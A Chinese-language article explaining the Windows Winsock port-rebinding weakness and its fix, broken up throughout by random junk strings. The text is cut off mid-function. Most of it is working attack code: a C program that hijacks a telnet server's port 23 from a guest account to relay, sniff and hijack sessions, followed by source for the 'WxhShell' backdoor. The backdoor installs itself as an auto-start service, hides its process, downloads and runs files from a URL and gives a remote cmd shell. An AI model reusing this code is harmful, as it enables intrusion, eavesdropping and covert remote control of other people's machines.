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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9}^nozR,I s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a^_\ #,} 0nUcUdIf+ saddr.sin_family = AF_INET; F#_JcEE U@21N3_@_ saddr.sin_addr.s_addr = htonl(INADDR_ANY); \M0-$&[+Z P34UD: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7(cRm$)L Z .6M~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !$N^Ak5# Bfe#, 这意味着什么?意味着可以进行如下的攻击: F N6GV S}6Ty2.\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )
=-$>75Z As0E'n85 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D^ZG-WR ;hb;%<xqT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e;L++D Vg'vL[Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ZXV_Dc jp=z
^l 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F]]1>w*/0 ?'ID7mL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !5I;3EN EH{m~x[Ei 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0Oy.&C T |Iei!jm #include "ee:Z_Sz #include ybLl[K(D= #include 2F*spu
#include d-/{@
DWORD WINAPI ClientThread(LPVOID lpParam); 3cfJ(%'X int main() "(bnr0 { YaiogA WORD wVersionRequested; Xc"l')1H DWORD ret; MLwh&I9) WSADATA wsaData; ZL/iX~}a' BOOL val; {8+FxmH SOCKADDR_IN saddr; -]yM<dP SOCKADDR_IN scaddr; 8R?X$=$]!. int err; "Bl]_YPv SOCKET s; dr3j<D-Q SOCKET sc; x(oL\I_Z int caddsize; v2=Iqo HANDLE mt; }j<:hDQP DWORD tid; @qj4rt" wVersionRequested = MAKEWORD( 2, 2 ); nE.w err = WSAStartup( wVersionRequested, &wsaData ); 32h}+fd if ( err != 0 ) { 1;_tu printf("error!WSAStartup failed!\n"); B(tLV9B3Q return -1; qw^kA? } cGF_|1` saddr.sin_family = AF_INET; 7#/->Y a#3+PB# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #r5IwyL (gW#T\Eln saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t~vOm saddr.sin_port = htons(23); ,U`:IP/L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^h wF= { =' %r"_`} printf("error!socket failed!\n"); \j
C[|LM& return -1; 0
D^d-R, } fny|^F]w val = TRUE; BK>3rjXi>a //SO_REUSEADDR选项就是可以实现端口重绑定的 {jz?LM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B=dF\.&Z { ]b5E_/P printf("error!setsockopt failed!\n"); eCejO59F9 return -1; iCd$gwA>F } Pw c)u& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MnToL@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F)fCj^zL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K4w %XVaH C8ss6+k& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kyV!ATL1F { vh+ '
W ret=GetLastError(); %3p~5jhm1 printf("error!bind failed!\n"); #63)I9> return -1; 117`=9F } R=Qa54 listen(s,2); nsf.wHGZ"J while(1) 4pU|BL\j { WFHS8SI caddsize = sizeof(scaddr); ng,64(wOY //接受连接请求 ~|y$^qy?U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W`^euBr7R> if(sc!=INVALID_SOCKET) [[vu#' bc { w4:|Z@ I mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cf\PG&S if(mt==NULL) @34Z/%A { !+bLhW` printf("Thread Creat Failed!\n"); :A2{ break; 96a2G,c>V } SNLZU%jan } r0MUv}p#|L CloseHandle(mt); =yT3#A~<G } R1,.H92 closesocket(s); Tt^PiaS! WSACleanup(); o 8fB return 0; XFj\H(D } +=_^4 DWORD WINAPI ClientThread(LPVOID lpParam) W^(:\IvV { SynL%Y9)|, SOCKET ss = (SOCKET)lpParam; w_gFN%8 SOCKET sc; %P3|#0yg0 unsigned char buf[4096]; yT3q~#: SOCKADDR_IN saddr; 9^yf'9S1 long num; a"ct"g= DWORD val; D./!/>@f DWORD ret; rN$U%\.I //如果是隐藏端口应用的话,可以在此处加一些判断 *U<l$gajq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 $!?tJ@{ saddr.sin_family = AF_INET; 2il)@&^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z2.9l?"rfQ saddr.sin_port = htons(23); .8.4!6~@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ai*R%# { ^4G%*- printf("error!socket failed!\n"); m=m T`EP return -1; ]t2zwHo# } _%r +?I val = 100; [quT&E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !
.q,m>?+ { wP|Amn+; ret = GetLastError(); T
O]wD^` return -1; OV~]-5gau } ^<$$h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s(2/]f$ { vHydqFi 9 ret = GetLastError(); A'zXbp:% return -1; BB$(0mM^ } S]"U(JmW\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P0mY/bBU { MbT;]Bo printf("error!socket connect failed!\n"); l_q=@y closesocket(sc); &EUI closesocket(ss); d O})#50f return -1; Bd++G'FZ } |>'.( while(1) 13JZ\`ceb { *ku}.n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {s{bnU //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ArN[]Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x$SxGc~4gb num = recv(ss,buf,4096,0); B2kKEMdGg if(num>0) $>M-oNeC send(sc,buf,num,0); w7#9t else if(num==0) `GpOS_; break; On`T
pz/ num = recv(sc,buf,4096,0); :-[y`/R if(num>0) |_h$}~; send(ss,buf,num,0); qN=l$_UD else if(num==0) )0 1,3J># break;
^ UDNp.6k } #F^0uUjq closesocket(ss); ~K2.T7= closesocket(sc); 78MQoG< return 0 ; v1j&oA}$. } > N bb0T kq4ii`zi8 8mc0(Z@ ========================================================== dSP~R h>a/3a$g 下边附上一个代码,,WXhSHELL ~+)sL1lx #Fwf]{J ========================================================== *.,G;EC^ 1;E^3j$ #include "stdafx.h" c e\|eN[ L,/(^0; #include <stdio.h> [6u8EP0xM #include <string.h> ]ZI ?U<0 #include <windows.h> ^o8o #include <winsock2.h> l ~C=yP(~ #include <winsvc.h> w=Yc(Y:h #include <urlmon.h> K2o\+t US'rhSV #pragma comment (lib, "Ws2_32.lib") /QW-#K|S& #pragma comment (lib, "urlmon.lib") xX:N- q}+Fm?B #define MAX_USER 100 // 最大客户端连接数 =jWjUkm2 #define BUF_SOCK 200 // sock buffer nYb{?{_ca8 #define KEY_BUFF 255 // 输入 buffer dRGgiQO v1`*}.# #define REBOOT 0 // 重启 +t
JEG: #define SHUTDOWN 1 // 关机 /@O$jlX5I 2FxrjA #define DEF_PORT 5000 // 监听端口 -}G>{5.A Vb++K0CK #define REG_LEN 16 // 注册表键长度 xgQ&'&7l #define SVC_LEN 80 // NT服务名长度 "q]r{0 /lb"g_ // 从dll定义API h?-*SLT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \s@7pM=( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 84f~.45 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @s%!R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q1
5h \!u it)!-[:bm // wxhshell配置信息 5faY{;8 struct WSCFG { v*lj>)L int ws_port; // 监听端口 Z1Pdnc7S[ char ws_passstr[REG_LEN]; // 口令 mzbMX
< int ws_autoins; // 安装标记, 1=yes 0=no K9=f`JI9 char ws_regname[REG_LEN]; // 注册表键名 JU`5K}H< char ws_svcname[REG_LEN]; // 服务名 zqlgJn char ws_svcdisp[SVC_LEN]; // 服务显示名 zf.&E3Sn char ws_svcdesc[SVC_LEN]; // 服务描述信息 &<Iz?AVr char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Z}9S9YtN int ws_downexe; // 下载执行标记, 1=yes 0=no ',l}$]y5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" iebnQf char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LSlYYyt vwIP8z~< }; +\s&v! mGC! 7^_D` // default Wxhshell configuration d+L!s7 struct WSCFG wscfg={DEF_PORT, s;Sv@=\ "xuhuanlingzhe", EHlkt,h* 1, !g2~|G "Wxhshell", LQ{z}Ay "Wxhshell", P/Zp3O H "WxhShell Service", g+pj1ycw/ "Wrsky Windows CmdShell Service", ,b'QL6>` "Please Input Your Password: ", )+dd 1, ud$*/ )/ " http://www.wrsky.com/wxhshell.exe", LEJn
1 "Wxhshell.exe" @E
!`:/k }; Hq!|( j1i<.,0g // 消息定义模块 &Ndq^!e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d3&l!DoX char *msg_ws_prompt="\n\r? for help\n\r#>"; +AkMU|6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; =67tQx58 char *msg_ws_ext="\n\rExit."; E,gpi char *msg_ws_end="\n\rQuit."; Bxf]Lu,\U@ char *msg_ws_boot="\n\rReboot..."; >`)IdX char *msg_ws_poff="\n\rShutdown..."; Xo/0lT char *msg_ws_down="\n\rSave to "; p;P
cD BW{&A&j char *msg_ws_err="\n\rErr!"; Q$:>yveR* char *msg_ws_ok="\n\rOK!"; lEr_4!h$rZ hMQh?sF/ char ExeFile[MAX_PATH]; b75en{aDi* int nUser = 0; D"ecwx{%;C HANDLE handles[MAX_USER]; Br}0dha3E int OsIsNt; u8N"i), Xd@_:ds SERVICE_STATUS serviceStatus; )o N#%%SB< SERVICE_STATUS_HANDLE hServiceStatusHandle; *$*V#,V- w<$0n#5 // 函数声明 v?<Tkw ^F int Install(void); "3e1 7dsY int Uninstall(void); *<#$B}!{ int DownloadFile(char *sURL, SOCKET wsh); IRY/0v int Boot(int flag);
.H7xG'$ void HideProc(void); p`T,VU&. int GetOsVer(void); P+(q38f[ int Wxhshell(SOCKET wsl); o`%;*tx void TalkWithClient(void *cs); up
)JU [ int CmdShell(SOCKET sock); 7&Qf))L int StartFromService(void); +I[Hxf ~ int StartWxhshell(LPSTR lpCmdLine); 5K[MKfT ]`T*}$| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5o2vj8:: VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?D9>N'yH8 i$"M'BG // 数据结构和表定义 353*D%8 SERVICE_TABLE_ENTRY DispatchTable[] = WX}pBmU { BQF7S<O+ {wscfg.ws_svcname, NTServiceMain}, "iPX>{'En {NULL, NULL} r~Vb*~U" }; y#?AW`|
6[S-%|f // 自我安装 2y#[uSqB int Install(void) M 0Vs9K= { h:~
8WV| char svExeFile[MAX_PATH]; Q/y"W,H# HKEY key; +GFK!Pf strcpy(svExeFile,ExeFile); ^M7pCetjdW :Lh`Q"a // 如果是win9x系统,修改注册表设为自启动 ]~t4E'y)z if(!OsIsNt) { nf)y_5y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p$!Q?&AV/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qN@0k>11? RegCloseKey(key); RDsBO4RG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HWOOw&^< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1azj%WY RegCloseKey(key); Gcp!"y=i return 0; :7DXLI|L#? } CoTe$C7 } MwO`DrV } zwJK|S k else { Cs?[
Lf0Wc'9{ // 如果是NT以上系统,安装为系统服务 I6.}r2?;A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -0:Equ?pz if (schSCManager!=0) Eq/oq\(/6 { 4#Id0[' SC_HANDLE schService = CreateService gf^XqTLs ( "|6763.{4 schSCManager, @; 0t+ wscfg.ws_svcname, ~xakz BE wscfg.ws_svcdisp, E.%_i8s SERVICE_ALL_ACCESS, 6o=Q;Mezl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _n=,H SERVICE_AUTO_START, -E,p[Sp SERVICE_ERROR_NORMAL, Jt|W%`X>D svExeFile, l#^weXSlk NULL, &8M^E/#.^; NULL, ZJ'Tb<fP NULL, ql2O%B.6? NULL, *Fu;sR2y%: NULL la{Iqm{i ); 29kR7[k if (schService!=0) w3Z;&sFd { m$WN"kV`,9 CloseServiceHandle(schService); U?&&yynK CloseServiceHandle(schSCManager); 84jA) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .u\xA7X strcat(svExeFile,wscfg.ws_svcname); Q@5v> ` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /& wA$h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /@feY?glc RegCloseKey(key); hB??~>i3 return 0; b|E1>TkY } JLu>w:\ } j*#k%;c CloseServiceHandle(schSCManager); cd:VFjT } wLOS,= } 09sdt;V Q Ot([5/K return 1; $ i;_yTht } Dh.pH1ZY3n Eq6.
s)10 // 自我卸载 ,*j@Zb_r int Uninstall(void) /6yH ,{(a { 'm|PSwB7 HKEY key; \z[L= At)\$GJ if(!OsIsNt) { FC
}r~syqA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RC+`sZE9 RegDeleteValue(key,wscfg.ws_regname); kJK:1;CM?. RegCloseKey(key); ZDTp/5=?K/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gQ=l\/H RegDeleteValue(key,wscfg.ws_regname); `~+[pY1r RegCloseKey(key); ]5sU =\ return 0; |jJ9dTD8/ } ?
H7?>ZE } aa,^+^J } dO|n[/qL0 else { >v1ajI>O&{ idSc#n22 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dA=T+u if (schSCManager!=0) t:yJ~En]= { 9KDm<Q-mf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;k5B@z/<S if (schService!=0) %hV]vm { Y JMaIFt if(DeleteService(schService)!=0) { *4?%Y8;bF6 CloseServiceHandle(schService); 5%;=(Oig CloseServiceHandle(schSCManager); N5|wBm>m return 0; XG;Dj<Dm } @@} ]qT* CloseServiceHandle(schService); f&88N<) } @r9[& CloseServiceHandle(schSCManager); GRj#1OqL } IXof-I%8 } |eEXCn3{ f/3rcYR;y return 1; +puF0]TR,i } `&5_~4T7 jzAXC^FS // 从指定url下载文件 -@?4Tfl int DownloadFile(char *sURL, SOCKET wsh) .BrYz:#A { 23*OuY HRESULT hr; >o|.0aw< char seps[]= "/"; B> V)6\ char *token; I|R;)[;X char *file; VGeyZ\vU char myURL[MAX_PATH]; 0W!S.]^1 char myFILE[MAX_PATH]; $i"IOp [kL`'yi strcpy(myURL,sURL); ;I!Vba token=strtok(myURL,seps); Cm~z0c|T while(token!=NULL) 9Je+|+s] { C jZIBMGc file=token; 6![}Jvu> token=strtok(NULL,seps); QM4O|x[
} @nxpcHj [VY265)g GetCurrentDirectory(MAX_PATH,myFILE); !1[ZfTX^a strcat(myFILE, "\\"); w'zSV1 strcat(myFILE, file); :XCRKRDLE send(wsh,myFILE,strlen(myFILE),0); eh}I?:(a? send(wsh,"...",3,0); cs7K^D;.V hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G}#p4\/ if(hr==S_OK) :[!b";pR return 0; pv@w 8* else k4`(7Z return 1; @ *n oma ,^@z;xF } cxc-|Xori @ w?,7i-S // 系统电源模块 !T$h?o int Boot(int flag) @: K={AIa { l?:S)[: HANDLE hToken; s>ohXISB[ TOKEN_PRIVILEGES tkp; 8<PQ31 2g$;ZBHO|8 if(OsIsNt) { xy+hrbD)j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uj twOv|pF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dr^MW?{a\ tkp.PrivilegeCount = 1; QW=
X#yrDO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d~z%kl
5: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kadw1sYj if(flag==REBOOT) { jYE
?wc+FT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z4wG]]Kh* return 0; iE,/x^&,& } A1F!I4p5 else { k293wS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y_{fc$_& return 0; O1Nya\^g<I } tqzr+ } ~vB dq Yj else { v{oHC4 if(flag==REBOOT) { r;SOAucX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xaNM?]% return 0; 2c%b } m*'87a9q0 else { &FY7
D<
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )}i|)^J return 0; n |Q'> } 2aJ_[3p/h] } v?s%qb= T _NN5e|t return 1; ]^I[SG, } H'%#71 Lv7$@|"H9 // win9x进程隐藏模块 sDP8! void HideProc(void) } bm ^`QY { .wf$]oQQ 'pC51}[A{^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C(&3L[ if ( hKernel != NULL ) tb;u%{S { vBYk"a6SD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hGbSN_F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G!E1N(%o FreeLibrary(hKernel); ,$bK)|pGV } u+qj_Ej A9o"L.o) return; ub]"b[j\1 } 5v"S v Esdw^MGL2 // 获取操作系统版本 <8BNqbX int GetOsVer(void) %:yVjb,Yf { Vu;z|L OSVERSIONINFO winfo; gfQ1p ? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X{8g2](z. GetVersionEx(&winfo); fF.sT7Az+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +l;A L5h return 1; jPEOp#C else S^_F0</U, return 0; h~s h!W8 } =O>E>Q :Hj #1-U // 客户端句柄模块 d'[] int Wxhshell(SOCKET wsl) pZ5eGA= { ~'0W(~Q8 SOCKET wsh; Xk }\-&C7 struct sockaddr_in client; Y@limkN: DWORD myID; lK3{~\J- 9YY*)5eyD while(nUser<MAX_USER) =i>i,>bv { !#dp[,nk int nSize=sizeof(client); `u$lSGl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Yz? 8n if(wsh==INVALID_SOCKET) return 1; G-5ezVli `Hd~H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $fG~;`T if(handles[nUser]==0) 4nKlW_{, closesocket(wsh); o "1X8v else )wCV]TdF nUser++; NE+
;<mW } z4 KKt& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rkn'1M&u N `[ ?db-% return 0; Y7<(_p7 } #sM*<2vj DhN<e7c` // 关闭 socket *H~&hs>k void CloseIt(SOCKET wsh) 3M5wF6nY[[ { I}u&iV` closesocket(wsh); qkBCI,X_Y nUser--; GuKiNYI_ ExitThread(0); ` NCH^) } -ju}I U3BhoD#f\ // 客户端请求句柄 2#R8}\ void TalkWithClient(void *cs) nJY3 1(p { ^CW{`eBwk F[*/D/y( SOCKET wsh=(SOCKET)cs; S#nW )=
char pwd[SVC_LEN]; B!((N{4H+ char cmd[KEY_BUFF]; "mc ]^O char chr[1]; Or:P*l int i,j; mq+<2 S ]MnQ3bWq"j while (nUser < MAX_USER) { =)nJ'}x .qs5xGg#9 if(wscfg.ws_passstr) { $^`@ lyr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NR98]X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :H>0/^Mg0 //ZeroMemory(pwd,KEY_BUFF); w+iIay i=0; ^y[- e9O| while(i<SVC_LEN) { .1jeD.l , FR/X/8 // 设置超时 U&0 RQ:B fd_set FdRead; *vOk21z77d struct timeval TimeOut; Fhga^.5U& FD_ZERO(&FdRead); czT]XF FD_SET(wsh,&FdRead); ]nq/yAF% TimeOut.tv_sec=8; :ka^ztXG TimeOut.tv_usec=0; =Y5_@}\0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _ O;R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \`R8s_S Fb6d1I^wR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #~[{*[B+ pwd =chr[0]; ^Vg-fO]V if(chr[0]==0xd || chr[0]==0xa) { xB5QM #w\ pwd=0; u,./,:O%= break; #@J{ ) } vQy+^deW i++; z/wwe\ a5 } 3L9@ELY4 /6:qmh2 // 如果是非法用户,关闭 socket :D~J(Y2 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +h8`8k'}-2 } !Y10UmMu ]Rj?OSok send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \k5
sdHmI[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h}Lrp r2r GK1oS while(1) { 395`Wkv Q096M 0m ZeroMemory(cmd,KEY_BUFF); y7x*:xR[ 6N[X:F
3`, // 自动支持客户端 telnet标准 fWyXy%Qq j=0; Mk}*ze0% while(j<KEY_BUFF) { +asO4'r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TT={>R[B cmd[j]=chr[0]; hG>kx8h if(chr[0]==0xa || chr[0]==0xd) { 3
J5lz~6 cmd[j]=0; 1}~`g ED break; m]Mm(7v( } " -S@R=bi j++; -PTfsQk } }^2'@y!( onl,R{,`0 // 下载文件 (U@$gkUx}G if(strstr(cmd,"http://")) { 4+MaV<!tU^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); b8!
if(DownloadFile(cmd,wsh)) +v<
\l= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z=oGyA else vbfQy2q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z1{>"o:@ } o{3>n"\w3 else { 0wt4C% .0 ~-#Jcw$+n= switch(cmd[0]) { 9-!G Ya'Z bu{dT8g'U // 帮助 tac\Ki? case '?': { 6G{ Q@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $e:bDZ(hjj break; #I\" 'n5M } V3ExS1fNf // 安装 <==6fc>s case 'i': { gBOF#"- if(Install()) Hyi'z 1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); odn3*{c{x else I3u)y|Y= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZS[Ut break; D"exI] } 1u"#rC>7.4 // 卸载 @hy~H?XN case 'r': { nd&i9 l if(Uninstall()) t9)S^: 0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); AcHeZb8b else vU$n*M1`$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ""*g\ break; ,c&gw tdl } ^I)+u>fJ // 显示 wxhshell 所在路径 ^0-e.@ case 'p': { {W HK|l char svExeFile[MAX_PATH]; dWdD^>8Ef strcpy(svExeFile,"\n\r"); r1 b"ta strcat(svExeFile,ExeFile); <h~=d("j send(wsh,svExeFile,strlen(svExeFile),0); :6]qr 86 break; Hp@Q } u<4bOJn({ // 重启 T3I{D@+0 case 'b': { BN~ndWRK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RFX{]bQp9 if(Boot(REBOOT)) !(gSXe)* send(wsh,msg_ws_err,strlen(msg_ws_err),0); VOIni<9y else { eD7qc1*G closesocket(wsh); mtdy@=?1Y ExitThread(0); ?!O4ia3nFk } @8$z2 break; u60RuP& }
F@mxd // 关机 L|B! ]} case 'd': { zrf
tF2U send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i[:cG if(Boot(SHUTDOWN)) #\_8y`{x send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]LEaoOecu else { J57; X=M closesocket(wsh); ? a)Fm8Y ExitThread(0); 0Ua=&;/2 } *F!1xyg break; ,RW`9+gx } cL][sI // 获取shell pC #LQ case 's': { 7O:g;UI# CmdShell(wsh); N,l"9>CF closesocket(wsh); M8/:PmR< ExitThread(0); +bT[lJ2O>G break; X?XB!D7[ } K)5j // 退出 aNA]hl case 'x': { ,HI%ym send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Io[NN aF| CloseIt(wsh); _3< P(w{ break; qDU4W7|T` } >|yP`m // 离开 EiG5k.C@ case 'q': { k1ja ([Q send(wsh,msg_ws_end,strlen(msg_ws_end),0); FBbaLqgVF{ closesocket(wsh); ~Z!YB,)bp WSACleanup(); n$v4$_qS exit(1); WA0D#yuJ/ break; pWq+`|l$ } o\]U;#YD } ]^T-X/v9 } `oH4"9&]k3 SN]g4}K- // 提示信息 Ln t 1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lRNm
&3:- } iQS,@6 } oOC&w0 x/wgD'? return; lfre-pS+ } p|8ZHR+
{f@Q&(g // shell模块句柄 vbd)L$$20+ int CmdShell(SOCKET sock) /'5d0' ,M { kD?@nx> STARTUPINFO si; P|Gwt& ZeroMemory(&si,sizeof(si)); &GkD5b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JgA{1@h si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R PoBF~> PROCESS_INFORMATION ProcessInfo; j>B* 8*Ss char cmdline[]="cmd"; 0{vH .b
@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AI Kz]J0; return 0; |xg_z&dX } =5Nh}o(l? O ;[Mi // 自身启动模式 GM?s8yZ< int StartFromService(void) aKWxL e { ^g5E&0a`g typedef struct 0zkMRBe { Y;%LwDC DWORD ExitStatus; 8>Cf}TvErx DWORD PebBaseAddress; y j#*H DWORD AffinityMask; miu?X ! DWORD BasePriority; }z$_!)/i ULONG UniqueProcessId; dR;N3KwY ULONG InheritedFromUniqueProcessId; #o7)eKeQ } PROCESS_BASIC_INFORMATION; \"))P1 2QM{e!9 PROCNTQSIP NtQueryInformationProcess; o-7{\%+M yNowhh static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z"%. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; euVDrJ^ C\~}ySQc.e HANDLE hProcess; yCav;ZS_ PROCESS_BASIC_INFORMATION pbi; `lWGwFg g( I`H&b&
